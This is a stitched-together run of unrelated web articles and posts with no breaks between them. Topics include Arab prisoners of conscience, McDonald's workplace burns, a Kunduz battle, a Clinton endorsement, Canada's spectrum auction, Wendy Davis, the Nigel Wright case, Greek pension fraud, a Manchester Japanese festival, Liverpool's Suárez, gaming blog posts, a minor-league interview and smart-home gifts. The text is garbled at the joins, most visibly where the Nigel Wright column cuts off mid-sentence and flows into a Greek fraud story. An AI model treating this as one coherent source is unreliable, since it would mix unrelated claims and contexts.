محمود محمد اكثر من٤٦٣يوم حبس احتياطي حتي الان لم تحال القضية والتهمة تيشيرت وطن بلا تعذيب #حريتهم_حقهم pic.twitter.com/lKvVDvD0mo @MaharatNews — يسقط حكم العسكر (@titotarek8) May 4, 2015
Mahmoud Mohamed has been detained for 463 days and until now his case has not been referred to court. His charge is wearing a T-shirt with A Nation without Torture written on it
يعني طالب صغير يتحبس اكتر من ٤٥٠ يوم عشان لبس تيشرت مش عاجب السلطهً …. قولي يا سيسي تيشرته خطر عليك ازاي #الحرية_لمحمود_محمد — mariya (@drsalmataha) April 23, 2015
A young student gets detained for more than 450 days because he wore a T-shirt that doesn't live up to the authorities’ tastes…. Tell me Sisi, how does his T-shirt threaten you?
Executive director of ANHRI ranked the Gulf Nations according to online free expression:
Freedom of expression on the Internet in the Gulf: the best is Emirates, then Oman, Qatar, Kuwait, Bahrain, and the worst is Saudi Arabia
الحقوقي نبيل رجب من البحرين، حبس 6 أشهر بسبب تغريدة #حريتهم_حقهم pic.twitter.com/ucrpzLdarw — #FreeSanaa (@Bakkar_74) May 4, 2015
Rights activist Nabeel Rajab from Bahrain, 6 months imprisonment because of a tweet
لما يقولوا رأيهم بالكلمة الحرة وبالقلم يبقي #حريتهم_حقهم والعار والخزي لكل الأنظمة اللي بتحبس أصحاب الرأي — malek adly والي مصر (@malekadly) May 4, 2015
When they say their opinion through free speech and writing it remains their freedom their right, and shame on all regimes that jail people of opinion.
Stakes are High
Human rights organizations like Human Rights Watch say it's difficult to assess Middle Eastern and North African governments’ compliance with international human rights laws because most of these states refuse to allow independent monitoring committees to visit their prisons. Many of these countries withhold even the most basic information about their penitentiary systems. In March, Egypt rejected a UN protocol that would have permitted independent observers to inspect jails for inhuman treatment.
That same month, Reuters reported that security forces tear-gassed and beat prisoners in Bahrain's Jaw prison in an attempt to “quell clashes that erupted during family visits.” Human Rights Watch called for an independent investigation into allegations of severe prisoner abuse. An article on Middle East Monitor reported that the Syrian Network for Human Rights had documented at least 108 people tortured to death in Syria's prisons last month alone.
These practices fall in clear violation of international human rights doctrine. Article 7 of the United Nations’ International Covenant on Civil and Political Rights (ICCPR) mandates that “No one shall be subjected to torture or to cruel, inhuman or degrading treatment or punishment. In particular, no one shall be subjected without his free consent to medical or scientific experimentation.”
Article 10.1 states clearly that “All persons deprived of their liberty shall be treated with humanity and with respect for the inherent dignity of the human person.”
Nevertheless, despite UN recommendations and media coverage, torture and mistreatment in prisons are ongoing, possibly on a daily basis, all over the Arab World.
Support the campaign:
ANHRI has put together a set of suggested ways to support and participate in the campaign. Visit their website to learn more.
Write to the public prosecutor in your country, the minister of interior or the president, or the ruler of your country.
Encourage the press in your country to write about the case of the prisoner of the month.
Send a letter or a post card to the prisoner showing your support.
Read Global Voices stories about the cases mentioned here:
Bahraini Human Rights Defender Nabeel Rajab Arrested Again for Tweets April 2015
Saudi Blogger Sentenced to 10 Years in Prison, 1000 Lashes May 2014Among issues cited in 28 health and safety complaints filed against fast-food giant are understaffing and pressure to work fast without proper safety gear
McDonald’s workers who have suffered severe burns in their workplace filed 28 health and safety complaints against the company in 19 cities over the past two weeks, a labor group announced on Monday.
The complaints, which were filed with the US Occupational Safety and Health Administration as well as state safety and health authorities, allege that many of the injuries occurred because of understaffing and the pressure to work fast. After such accidents occurred, management often lacked first-aid supplies to treat the injuries and instead often told the workers to treat their burns with condiments.
McDonald’s said in a statement that it is “committed to providing safe working conditions for employees in the 14,000 McDonald’s Brand US restaurants” and will review the allegations. A McDonald’s spokeswoman, Heidi Barker Sa Shekhem, said: “It is important to note that these complaints are part of a larger strategy orchestrated by activists targeting our brand and designed to generate media coverage.”
The complaints were filed with the assistance of labor organizing group Fight for $15, which is pushing for a higher minimum wage and union representation for fast-food workers. On Monday, Fight for $15 also launched a petition asking the US Department of Labor to investigate health and safety hazards in the fast-food industry.
“My managers kept pushing me to work faster, and while trying to meet their demands I slipped on a wet floor, catching my arm on a hot grill,” Brittney Berry said on a conference call on Monday. Berry has worked at McDonald’s in Chicago since 2011; when she slipped, she suffered a severe burn on her forearm and nerve damage from the accident. “The managers told me to put mustard on it, but I ended up having to get rushed to the hospital in an ambulance.”
Afterward, Berry missed three weeks of work without pay.
Using condiments to soothe workplace burns is more than just a one-time occurrence at McDonald’s. According to a survey by Hart Research Associates, 33% of fast-food workers who were burned at work were told by their manager to use condiments such mustard, butter or ketchup instead of burn cream.
Martisse Campbell works at McDonald’s in Philadelphia and is often tasked with emptying the grease traps at his store.
“One of my coworkers and I have to empty the grease trap without protective gear, and since we were never given the proper equipment or training, we just dump the hot grease into a plastic bag in a box of ice,” said Campbell. “Once, my coworker got badly burned, and our manager told him: ‘Put mayonnaise on it, you’ll be good.’”
Campbell too has burned his hand with boiling grease from a fryer. Both he and Berry say that accidents such as these are “exactly why workers at McDonald’s need union rights”.
Our first-aid kit is just an empty box
McDonald’s closely monitors all aspects of its franchisees’ operations, but when it comes to health and safety, it looks the other way with a “wink and a nod”, alleges Kendall Fells, organizing director of Fight for $15. “McDonald’s has the power to protect its employees, but it’s just not doing it,” said Fells.
Copies of the complaints revealed that in each of the complaints, workers had requested inspections of their worksite. Findings of the investigations triggered by such complaints are usually released within six months.
The workers say that they want the fast-food giant to take responsibility for the dangers in its restaurants, from the pressure to clean the fryer while the oil is hot and the lack of protective gear, to basics like greasy and wet floors and missing or empty first-aid kits.
McDonald's sued over claims workers were fired from store with 'too many black people' Read more
“Our first-aid kit is just an empty box,” Campbell said on Monday.
Four in five fast-food workers have been burned on the job in the past year, according to a Heart Research survey of 1,426 adults working at a variety of fast-food restaurants. The survey was conducted online, on platforms such as Facebook, and those who participated were then eligible to win a gift card.
About 58% of the surveyed workers have been burned multiple times; reasons why such accidents occur include understaffing and the pressure to work faster than is safe, according to the workers surveyed.
On Tuesday, fast-food workers plan to hold protests at McDonald’s stores to demand that the company take responsibility for these dangers. The 19 cities where complaints have been filed include Kansas City, Missouri; New York City; New Orleans and Philadelphia.
About 90% of US McDonald’s restaurants are “independently owned and operated by franchisees”, according to McDonald’s. Workers filed complaints at both corporate and franchised locations reporting the same health and safety hazards.Breaking News Emails Get breaking news alerts and special reports. The news and stories that matter, delivered weekday mornings.
Nov. 3, 2016, 8:14 AM GMT / Updated Nov. 3, 2016, 8:21 PM GMT By Alexander Smith, Ahmed Mengli and Courtney Kube
Two U.S. service members were killed during a fierce battle with Taliban fighters in Afghanistan early Thursday — which local officials said resulted in the deaths of dozens of civilians.
The Americans were on a "train, advise and assist" mission led by Afghan forces when they came under heavy fire miles north of the restive city of Kunduz, according to U.S. and Afghan officials.
Said Mahmood Danish, spokesman for Kunduz Gov. Asadullah Omarkhel, told NBC News that Afghan special forces called in airstrikes to try to beat back the militants and that 30 civilians were killed in the fighting, many of them children.
According to Danish, four Afghan special forces members were killed and six others were injured, along with 26 Taliban fighters who were killed and 17 others who were injured. Speaking to The Associated Press, the Kunduz police chief, Gen. Qasim Jangalbagh, put the number of civilians who were killed at 26.
Senior U.S. military officials said that in addition to the two Americans who were killed, four others were injured, two of whom were soon able to return to duty.
A map showing the Afghan city of Kunduz. Google Maps
Two senior U.S. military officials told NBC News on Thursday that Afghan troops and U.S. military advisers were on a night raid against an unspecified Taliban target when they came under attack from gunfire after their helicopters landed in darkness. U.S. jets responded with air support, they said.
Army Brig. Gen. Charles Cleveland, a NATO spokesman, confirmed in an email to NBC News that the personnel called in airstrikes "to defend themselves."
"We take all allegations of civilian casualties very seriously," he said. "As this was an Afghan operation, we'll work with our partners to investigate."
The Afghan Defense Ministry was not available for comment.
Army Gen. John W. Nicholson, the U.S. commander in the country, mourned the deaths of the two U.S. personnel.
"Today's loss is heartbreaking and we offer our deepest condolences to the families and friends of our service members who lost their lives today," he said in a statement. "Despite today's tragic event, we are steadfast in our commitment to help our Afghan partners defend their nation."
U.S.-backed Afghan forces have been involved in fierce battles with a resurgent Taliban in and around Kunduz, which the Taliban briefly captured in late 2015. During the fightback, a U.S. AC-130 gunship mistakenly bombed a Doctors Without Borders hospital and killed at least 42 people, including at least 14 staff and 24 patients.
The Taliban fighters were eventually pushed out, but they attacked the city again last month and occupied several neighborhoods during intense fighting. Afghan forces said they fought back to regain control of the city.
Despite President Barack Obama's declaration that the Afghan combat mission over in 2014, U.S. warplanes have carried out more than 700 airstrikes this year — far surpassing the 500 of last year — according to Reuters. Nearly 9,000 U.S. personnel remain in the country.Few imagined that at this late point in the Democratic presidential primary season Hillary Clinton would be facing a serious challenge from a feisty, 74-year-old independent lawmaker from Vermont who proudly calls himself a democratic socialist. Sen. Bernie Sanders has injected an unexpected element of excitement into what just a few months had been viewed as an entirely predictable march to the nomination by the Clinton campaign.
But Mr. Sanders' success has also prevented the party's front-runner from fully turning her attention to the general election this fall, as she should be doing at this point in the race. Now is the time for the party to come together around its strongest potential candidate. The former first lady, senator from New York and secretary of state clearly has the experience, detailed knowledge of the issues and proven record of accomplishment that America needs in its next president, and that is why we urge voters to cast their ballot for Hillary Clinton in Tuesday's Democratic primary.
Senator Sanders captured the imagination of millions with his call for a "political revolution" aimed at upending a status quo they feel is stacked against them — a message that has resonated particularly strongly with young people who see him as a break from the politics of the past. Yet on closer inspection it's apparent that, despite their popular appeal, many of Mr. Sanders' spending, tax and health care plans — along with his proposals for making college free, reining in Wall Street and "breaking up" the big banks by presidential fiat — simply don't add up. They are in many respects as grandiose and vague as most of the ideas offered up by Donald Trump on the Republican side, and equally unworkable.
Ms. Clinton, by contrast, has offered solid policies on the issues Americans care about: income and wealth inequality; job creation and the problems faced by working families in a changing economy; the need for federal investment in cities and the nation's crumbling infrastructure; and strengthening U.S. national security to meet the challenges posed by China's growing military might, a resurgent Russia and new threats from rogue states and terrorist organizations. On all these issues Ms. Clinton has advanced realistic, well thought out proposals whose details make sense both as sound policy and as good politics.
Ms. Clinton also possesses the personal qualities of steadiness, resolve, empathy and resilience that are absolutely essential in a commander-in-chief. Whether or not she is as gifted a campaigner as President Barack Obama or her husband, former president Bill Clinton, her dedication to public service, which she has demonstrated throughout her career, has never been in doubt. She has stumped tirelessly for the things she believes in since well before she announced her candidacy last year, and voters can count on her to bring that same passion for getting the job done to the White House if elected.
Former President Bill Clinton was in Baltimore attending several churches to talk about last year's unrest in Baltimore and campaigning for his wife, Hillary. Former President Bill Clinton was in Baltimore attending several churches to talk about last year's unrest in Baltimore and campaigning for his wife, Hillary. SEE MORE VIDEOS
Unlike Mr. Sanders, Ms. Clinton has been in the spotlight for more than two decades during which her every move has been subject to intense public scrutiny, some of it fair but much of it not. We thought at the time that her decision to move her email onto a private server in her home when she served as secretary of state was unwise, for example, but there's no evidence of any criminal behavior on her part or of any damage to national security. Likewise, the House committee investigating the death of a U.S. ambassador in Benghazi after the fall of Libyan dictator Muammar Gaddafi went on longer than the Watergate probe of the 1970s yet turned up nothing of substance.
Ms. Clinton has been criticized for everything from her choice of clothing and hairstyle to her supposed "shrill" tone on issues she cares about. It's impossible not to suspect that she is being held to a higher standard than male politicians. Yet the lingering discomfort among some with the idea of a powerful female politician is wholly out of step with contemporary attitudes toward women's place in society.
Ms. Clinton has weathered it all with rare grace and composure. On the campaign trail her ability to connect with people has been her great strength, and her groundbreaking candidacy is one that all Americans — men and women alike — should be proud of. She is the right Democrat to represent her party in this most consequential of presidential election years, and we are pleased to endorse her candidacy.Quebecor Inc. has made a $233-million play on Canada's wireless industry – buying valuable wireless spectrum in the country's four most populous provinces – though it is saying little about how it intends to use it.
Ottawa was quick to hail the Montreal company as a new national player after it emerged from a federal auction with a number of wireless licences with which it could compete in Ontario, Quebec, Alberta and British Columbia – four provinces that account for 86 per cent of the country's population.
But sources say the company is unlikely to launch a national carrier without first getting concessions from Ottawa. Other companies that have tried to take on the Big Three have found it impossible to make money in the face of tough competition from BCE Inc., Telus Corp. and Rogers Communications Inc. Quebecor will likely demand that the government give it secure roaming rights on rivals' networks and use of their towers at a fixed, low cost.
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Ottawa announced long-awaited results of the 700-MHz spectrum auction Wednesday, awarding 20-year licences for the use of extremely valuable airwaves that are particularly suited for handling growing demand for downloading data on tablets and smartphones. This band carries signals over longer distances with fewer cell towers and is better able to penetrate buildings, elevators and underground parking garages.
The federal government said it reaped nearly $5.3-billion after more than 100 rounds of bidding – more than it has ever received before in a spectrum auction and far exceeding analysts' estimates. The market had anticipated it would fetch less than $2-billion.
Federal Industry Minister James Moore hailed Quebecor's bid as a victory for his government's efforts to encourage more competition in the $20-billion market cellular market.
"I think it's great they're looking beyond their traditional footprint in the province of Quebec to provide my home province of B.C., Alberta and the province of Ontario with a fourth player option," Mr. Moore said,
Quebecor's Vidéotron unit secured a prime block of 700-MHz spectrum in Southern Ontario and Eastern Ontario. It also won prime blocks in Alberta, B.C. and Quebec. Prime blocks are those for which there is already technology available to employ the spectrum.
Mr. Moore, who had publicly argued with the Big Three incumbents over Ottawa's rules to encourage more competition, sounded a triumphant note.
"The outcome of the auction supports more choice for Canadians by enabling a fourth wireless player in every region of the country. There are those who doubted whether or not this would be realized in this auction," he said.
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"Those doubters have now been silenced."
Bidding went 108 rounds and the Big Three acquired prime spectrum in all provinces.
"With the high-quality frequencies acquired in this auction, Vidéotron is now well-equipped to develop its network in the years to come and to continue offering its customers the best in wireless technology," Robert Dépatie, president and chief executive officer of Quebecor Media, said in a press release.
"Given the way the auction unfolded, Quebecor Media could not pass up the opportunity to invest in licences of such great intrinsic value in the rest of Canada," Mr. Dépatie added.
"We now have a number of options available to us to maximize the value of our investment."
Quebecor did not elaborate on what those options are as the Quebec-based telecom company goes national. Spokesman Martin Tremblay indicated company officials would not comment any further.
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Rogers Communications spent by far the most on spectrum, buying licences for 22 markets in the country at a price of $3.3-billion.
Telus Corp. spent $1.1-billion for 30 licences and Bell Inc. spent $565.8-million for 30 licences.
Rogers secured two blocks of contiguous spectrum in major markets across the country.
"We went into this auction with our customers' needs front and centre. We believe they want the ultimate video experience and this spectrum will allow us to deliver just that," Rogers CEO Guy Laurence said.
"Not all 700-MHz spectrum in the auction was the same; we secured the beachfront property we wanted. You either want your customers to have the best for the next 20 years or you don't."
The auction proceeds won't have a significant impact on deficit-strapped Ottawa's fiscal outlook. That's because accounting rules require the government to record the revenue haul in increments over the 20 year period of the spectrum licence instead of all at once.
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This auction of scarce frequencies will nevertheless shape competition in Canada for decades to come.
There are nearly 28 million cellphone users in this country and Canadians are using ever-increasing amounts of data on their smartphones as they surf the Web or stream mobile video.
The successful bidders are still under a gag order that prevents them from talking to each other or through the media about possible collaboration. This remains in effect until April 2, 2014, the deadline for final payments on winning bids.
Telus vowed to use all of its its 700-MHz spectrum, noting that it has already begun to prep its cell sites for deployment and will be able to use the band to reach more rural customers.
"Today we deliver 4G LTE [fourth-generation long-term evolution service] to 80 per cent of Canada's population," CEO Darren Entwistle said "The addition of this 700-MHz spectrum will enable us to expand our LTE coverage into rural areas, extending Telus's national 4G LTE network to 97 per cent of the population well in advance of the auction's build requirements. Moreover, the spectrum will enable us to further enhance our coverage in urban areas, adding much needed capacity for our more than 7.8 million customers."
Bell, meanwhile, confirmed that it plans to pay for its spectrum using "available sources of cash." It also trumpeted its commitment to provide advanced wireless services to Canada's North in conjunction with its wholly owned subsidiary Northwestel.
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"Bell's accelerating success in wireless is built on the world's fastest, most advanced mobile technology, LTE, which is powering next-generation broadband services like mobile TV and an infinite range of new mobile apps and media for consumers and business users," Wade Oosterman, president of Bell Mobility, said in a release.
(Bell's parent company, BCE Inc., owns a 15-per-cent stake in The Globe and Mail.)When Wendy Davis proclaimed that she is "pro-life" -- a description long since appropriated by conservatives opposed to abortion rights -- the right-wing media practically exploded with indignation. How could she dare to say that? But having won national fame when she filibustered nearly 12 hours against a law designed to shutter Lone Star State abortion clinics, the Texas state senator with the pink shoes doesn't hesitate to provoke outrage among the righteous.
Speaking to a crowd at the University of Texas in Brownsville last Tuesday, Davis, now running for governor as a Democrat, made a deceptively simple but profound declaration: "I am pro-life. I care about the life of every child; every child that goes to bed hungry, every child that goes to bed without a proper education, every child that goes to bed without being able to be a part of the Texas dream, every woman and man who worry their children's future and their ability to provide for that."
Her argument directly pierced to the contradiction within the right's "pro-life" sloganeering. So far the feeble answer from the right is that Davis must be "lying" because nobody who supports a woman's right to choose is pro-life.
But that response is merely a repetition that seeks to evade her deeper philosophical thrust. Whatever anyone may think about abortion, the persistent question for self-styled pro-lifers is why they tend to insist on making life so much more difficult for so many children who have entered the world. The same Republicans -- and they are nearly all Republicans -- most vocally opposed to reproductive rights are also most likely to cut assistance to poor families, infants and children at every opportunity, from the moment of birth long into adolescence and beyond.
The imperiled Supplemental Nutrition Assistance Program is only the latest instance of this drearily familiar anti-life syndrome. This week, more than 48 million Americans, including 22 million children, saw their food stamp benefits cut as a temporary enhancement of the program expired. That was worse than bad enough. But next year if the Republicans have their way, the government would cut $40 billion from the program over the next 10 years -- immediately depriving four million people of food assistance and then another three million every year.
Supposedly the excuse for this cruel scheme is to encourage able-bodied adults to work, even though jobs continue to be scarce. But what about the children who will go hungry, thanks to the budget advanced by the "pro-life" House leadership?
Incidentally, these are the same "pro-lifers" who will do almost anything to frustrate the long-sought national objective of universal health insurance. On that issue, one of their favorite complaints is that expanding health care to all will increase the availability of family planning, including abortion. But what of the tens of thousands of Americans who die every year because they lack insurance? Saving their lives is evidently not a "pro-life" priority.
Wendy Davis is right, but perhaps she didn't go far enough. You see, the other self-serving sobriquet appropriated by the right is "pro-family," a code term for opponents of reproductive rights, marriage equality, and other progressive policies that actually empower families of all kinds. Again, these same politicians tend to disparage not only Obamacare, but extended unemployment insurance, Social Security's old age and disability assistance, Medicaid, Medicare, student loans, tuition assistance, family leave, the earned income tax credit, and the entire panoply of successful government programs that help to keep real working families from disintegrating under economic, social, and medical stress.
In fact, Davis might reasonably question whether the minions of the religious right and the Tea Party are even truly "anti-abortion," although they have long since tried to escape that category. It is true that right-wingers have tried incessantly (and unsuccessfully) to outlaw abortion. But today they often seek to restrict contraception and effective sex education as well, even though preventing unwanted pregnancies is the most obvious way to reduce the number of abortions.
How would conservatives behave if they honestly wanted to save the family -- as House Republicans will now claim when they kill the Employment Non-Discrimination Act, banning workplace bias against lesbians and gays? They might begin by reconsidering their ideological project of dismantling federal programs, long supported by Republicans and Democrats alike, that help families maintain stability, care for each other, maintain healthy children, and advance in each generation.
The real enemies of "life, liberty and the pursuit of happiness" for American families are those who seek to polarize incomes, destroy the social safety net, and impose misery on women and children in the name of religious morality.More from Michael Harris available More fromavailable here
The other night on television, Stephen Harper’s former communications manager, Geoff Norquay, said that since the RCMP has assured Nigel Wright he will not be charged, nobody cares about the whole stinking mess any longer.
Well, I do. As the saying goes, justice must not only be done, it must be seen to be done.
In order for that to happen in the case of Nigel Wright, we deserve a full explanation of how this decision was made — and who ultimately made it.
Did the lead investigator in this case, Cpl. Greg Horton, come to the conclusion that he did not have a case? If so, he should step forward and say so — and he also should say he was doing it of his own accord.
Perhaps Cpl. Horton did recommend charges and that recommendation was scotched by others higher up the chain. If that’s true, more questions need to be answered if the public is to maintain faith in the justice system.
What part, if any, did RCMP Commissioner Bob Paulson play? He needs to tell the country. What part did the office of the Director of Public Prosecutions play, if any? And if a Crown prosecutor did decide that charges against Wright weren’t warranted, what was the legal reasoning?
Canadians already know from Cpl. Horton’s affidavit that the PMO assisted Senator Duffy by reimbursing him for improper expenses, softening a Senate Committee report on his expenses, and trying to influence an independent audit by Deloitte.
Did the DPP find errors in Cpl. Horton’s ITO that made the prosecutor’s office conclude the case should be dropped? If so, they should make those public. Or were the facts as sworn to by Cpl. Horton correct, but something else was lacking in his case?
Did a question of mens rea come into play here? An essential ingredient of any criminal offence is intent, or ‘guilty mind’. Usually, that doesn’t require separate proof. The normal test for mens rea is that a suspect did what the police accuse him of doing. There is no question about what Nigel Wright did in the Senate expense scandal. Has the reason why he did it now become the heart of the matter?
Wright has always offered |
ago about 40,000 unmarried daughters of deceased public service workers received 550 million euros per year. The rule now is that these daughters can no longer receive a share of their late fathers’ pensions after they reach the age of 18. But Greece’s Court of Audit is considering whether sons should be entitled to retroactively claim this bounty because they had been victims of sex discrimination.
“I cannot say this is right,” Anastasia Pomoni said. “There is a sense today that we are bad because we do not pay what we should, but we are not all bad.”
Countering Zakynthos’s reputation as “the Island of the Blind,” she recalled the island’s heroism in successfully hiding every one of its 275 Jews during the Nazi occupation.
Nobody did any jail time for the fraud scheme in Zakynthos. Those who were caught were ordered to repay their ill-gotten gains in installments. According to local police, they are still doing so.
Several islanders reacted with fury when told I was doing a story about how many of them had claimed to be blind. Spartakos Delianis seemed bemused by the enquiries.
“It was a beautiful idea to be in Europe, but we started from a different point than the other countries,” he said. “You judge Greeks from a Canadian point-of-view. But what we have here is an invisible system. You can bang your head against this wall, but you can’t smash it.”
National PostDoki Doki - The Manchester Japanese Festival is an event held in Manchester, UK, celebrating both traditional and modern Japanese culture.
The next festival will take place from 10:00am until 7:00pm on Saturday 9th to Sunday 10th November 2019 at Sugden Sports Centre.
Doki Doki - The Manchester Japanese Festival 2019 is proud to be an Official Event of the Japan-UK Season of Culture 2019-2020.
The festival will be followed by a cosplay after-party.
Please note all hour long talks and the film screening will now take place in The Sandbar which is next door to our venue's main entrance. If you wish to see the first talk when they are announced, you must have received a festival wristband from the main venue first. Timetable TBA
Tickets for the festival are available to buy online and will also be available to buy at the door on the day. Advanced ticket sales will stop being sold on Friday 8th November 2019. If you have not bought your ticket they will be available on the day at an increased price. We will be selling Sunday entry tickets up to Saturday 9th November 2019.
To see what is happening at the 2019 festival, visit the events, guests, traders and artists sections of our website.
The proceeds from various events at Doki Doki 2019 will be donated to our supported charity, Aid for Japan, which provides long-term support for orphans of the 2011 Tohoku disaster in Japan.
The venues for the festival are:
Daytime event: Sugden Sports Centre, 114 Grosvenor Street, Manchester M1 7HL
Daytime event: talks and film screening room The Sandbar, 120 Grosvenor Street, Manchester, M1 7HL
After-party: The Sandbar, 120 Grosvenor Street, Manchester, M1 7HL
For more details, see the festival mapIt’s the scenario Liverpool fans dread, and it’s the one we resigned ourselves to last summer. Every passing transfer window brings about rumour after rumour that Luis Suárez might leave the club. Last summer it was Arsenal, and in January it was Manchester City. No doubt the same stories will surface again this coming transfer window, with some of the top clubs in Europe likely to be seeking his signature. It’s easy to see why they’d want him as well, 31 goals and 12 assists in 33 games speaks for itself. In Europe, only Cristiano Ronaldo matched Suárez’s league goals tally this past season, and no player even comes close if you take penalties out of the equation. With that in mind, what happens if a club manages to pry Suárez away from Brendan Rodgers’ tight grip? The club will likely maintain that it will take a world-record bid before they even consider letting the Uruguayan go, however there are a few clubs capable of wielding such financial clout.
So, in a hypothetical situation, Real Madrid have an offer accepted for Suárez and he leaves Merseyside for sunny Spain. What next for Liverpool, and Brendan Rodgers? How would the club react to losing such a pivotal player?
The first thing Brendan Rodgers did when he was appointed manager of the Reds was to recognise that Suárez was the squad’s best creative outlet, and that the team needed to be built around him. This meant that the likes of Andy Carroll and Charlie Adam had to go, as well as the flat 4-4-2 often played under Kenny Dalglish. Rodgers converted Suárez from his support-striker role under the previous regime to a lone striker, and the benefits were almost immediately felt.
The main issue that the Reds would have to tackle in the absence of Suárez would be team structure. So much of Liverpool’s attacking threat comes through Luis Suárez, and losing him would leave a huge gap on the pitch to be filled. Spurs had to deal with a similar problem last summer with the sale of Gareth Bale: influential players need to be replaced by influential players.
This poses another question, the possibility of replacing Suárez, like-for-like. He’s an extremely unique type of player, which is partially why he is so desired by other teams. There aren’t many players who have the combination of strength, creativity, workrate, and sheer doggedness that Suárez displays on a weekly basis. You could point to the apparently Chelsea-bound Diego Costa, however he isn’t as versatile as Suárez, often struggling when not played as a lone-striker. Another example would be Alexis Sanchez, who is capable of playing multiple positions, but doesn’t have the same level kind of goal output at Suárez does.
The unfortunate truth is that finding a like-for-like replacement for Luis Suárez would be an almost impossible task. His skill set is too unique to find a player who can just slot into the same role without hesitation. The likely outcome then would involve Rodgers having to restructure the team and perhaps change formation.
Rodgers clearly feels that Liverpool’s attack still needs work. As much as the Reds managed to score 101 goals this season, the manager still feels more can be added. The pursuit of players such as Adam Lallana and Yevhen Konoplyanka shows that Rodgers is focusing on creativity and versatility, with both targets being able to play multiple positions.
Fluidity is one of the most important aspects of Liverpool’s system, and there is clearly a desire to bring in players who can adapt their game depending on the opponent. Were Suárez to be sold, then these types of players would make the transition considerably smoother. Replacing his goals and assists would be no easy task, but it could be done. As the likes of Philippe Coutinho and Raheem Sterling mature, they will begin to offer more and more to the team in terms of goal contribution.
The example that everyone will cite is that of Spurs, and how they dealt with the sale of Gareth Bale. While clearly some of the signings from André Villas-Boas and Franco Baldini did not work out, and there was a lot of turmoil behind-the-scenes, Tottenham only finished 3 points worse off this season than last. They scored fewer goals and conceded more, but they still managed to get the results they needed. In terms of Liverpool, the biggest crutch this season has been the defence, and the amount of goals conceded. Were Brendan Rodgers able to solidify the defence, while still bringing in quality attacking players, then the impact of Suárez’s departure would likely be somewhat dulled.
Ultimately, it’s clear that Liverpool need to hang on to Suárez if they want to keep building on the foundations laid over these past two seasons. The departure of such an integral player can have a similar impact as a manager leaving the club. The dreaded ‘transitional season’ would rear its ugly head again, and what we’ve been working towards could well be set back a season or two. However, if Liverpool do keep hold of Suárez, and make important improvements to the squad, then there’s no reason they can’t make another title challenge next season.
By @PhantomGoalYes, its true, I have horrible anxiety, and have had it as long as I can remember. More specifically, social anxiety. I really do have a hard time being around other humans. Perhaps medication some day (again).
Video games have really helped me through the years coping with the disorder, or whatever you want to call it. I have tried various medications, but nothing works as well as totally immersing myself in a game. Games that come to mind that stood by my side through some rough patches: Abes Oddword Odyssey, Elder Scrolls: Oblivion, Wipeout XL, Golden Eye, SOCOM (I&II), Portal, Tenchu. There are many more but I just cant think of them right now.
This post is brief due to the fact that I have a new Minecraft release to play, and an episode of Game of Thrones to watch, yeah episode 7 woot! Cant wait to craft a map, some hatches, and explore the nether!
JavisMOON: Fan Art Sam Bell Meets LucasArts
This is so fantastic, I can’t type quick enough to get the post finished and hit “publish”. Danish MOON fan Mads Johansen has only gone and created an image of what a MOON point & click adventure would look like, if created by those wonderful people over at LucasArts using the SCUMM creation tool, famously used for such classics as The Monkey Island series, Full Throttle, The Dig and many more. Games that stole many hours of my youth (and admittedly may continue to do so as they are re-released for the touch device generation of handheld devices)
Mads explains:
If I played this game back in ´91, I think my brain would literally blow up.
It just started with me wanting to do some nice SCUMM fan-art, but the further I got with this, the more I felt that the narrative of this particular flick would fit awesomely with the whole point’n’clicky thing. Except for maybe the lack of a character gallery. It was pretty tough for me completing games like Secret of Monkey Island, because as a 12 year old danish kid, I didn’t really have a clue what a rubber chicken with a pulley in the middle was, for example… and the artwork was also pretty tough to decrypt at times… but now I know how hard it is to do Sam Bell, when you only have about 12×12 pixels to do it on 😀 Anyway, hope you like this one… I might do more, I dunno yet.
Yes, Mads. Please, we’d love to see more 🙂 Head over to Mads’ sketch blog for more of his amazing artwork. I’m off to play some Monkey Island!
UPDATE: No way we could let this pass, comment from SCUMM creator, and computer gaming Legend Ron Gilbert:
Moon would have made a great SCUMM game.
MOON Director Duncan Jones has also been overwhelmed by Mads artwork:
I want to play that!!! I want to hear Clint Mansell’s score in 8-bit audio!! Seriously.. that was one of the best things I have seen in ever. That needs to be an Iphone game…IPad too…Seriously thinking that if there was ever to be a direct Moon sequel, it may work best as a point and click adventure.
Finally tweeting back to Ron Gilbert:
you stole too many hours of my youth to count. Thank you.
That all goes way beyond awesome 🙂 *collapses*After his first season was riddled with injuries, Milwaukee Brewers OF prospect Tyrone Taylor bounced back in 2013 and put up some big numbers. For Class-A Wisconsin Timber Rattlers, Taylor boasted a.274/.338/.400 with eight home runs and 57 runs batted in.
Drafted in the second round in 2012, Taylor has started to open some eyes. In June, he was named the Midwest Player of the Week after hitting.438.
I interviewed Taylor back in February and recently had the chance to talk with him again.
After last season was cut short by injuries, you bounced back extremely well. Were you pleased with your performance?
Yeah definitely. It was a lot of fun playing with the guys I was around and it was good that I stayed on the field injury free.
How much do you believe in advanced stats like WAR?
I’m not a real big stat guy. I just try to focus on getting better everyday.
What stats do you mainly use to judge your performance?
I really try not to focus on stats at all during the season. Just prepare myself and let it all fall into place. They post how many good team at-bats we have a month in the club house, so that’s pretty cool.
You were named the Midwest Player of the Week and hit.438 in June. How were you able to keep performing at such a high level for the entire month?
It was a fun month. It got warmer and it made it more fun to play with more fans coming to the games and everything and I just stuck with my routine and didn’t try to do too much at the plate.
Do you know if you’ll remain in Class A in 2014 or will you be promoted?
I try not to think about that. I just have to keep working hard and only time will tell.
When I interviewed you before the season, you said your biggest goal was to stay healthy. Now that you’ve accomplished that, what’s your goal for next season?
My main goal for every season will definitely be to stay on the field.
You played 122 games this season. Does your body feel the effects?
Oh definitely. It was the most worn out my body has been. I always compare the last three weeks or so to everyday feeling like you just played a football game. But it was fun grinding through it and it lets you know how hard you have to work in the offseason.
Who’s your closest friend on the team?
I’m pretty close with all of my teammates. We got along real well. I’d say Big Vic (Victor Roache) is the closest though, probably because we were always around each other.
Would you rather hit a walk-off home run or gun a runner down at home plate to end the game?
That’s a tough one. I think gun the runner down at the plate to end it.
Make sure to follow Tyrone on Twitter.The advent of the connected home has made it possible for our everyday appliances to talk to us, and more important, to each other. Thermostat control, energy conservation, and routine maintenance are just a few more things your average smart homeowner no longer has to worry about.
So when you buy somebody a connected home appliance as a holiday present, what you’re really giving them is the gift of their most scarce and treasured commodity, time.
See also:
We’ve selected some of the most interesting and useful connected home appliances on the market to help you and your loved ones streamline your lives.
Smart Home In A Box
Our pick: SmartThings Hub, $99
For the person who just wants to get started hooking up their connected home, there are dozens of “smart homes in a box,” or ready-to-go sets of appliances to begin connecting and controlling your appliances, all automated by a central hub. One of the most impressive of these comes from SmartThings.
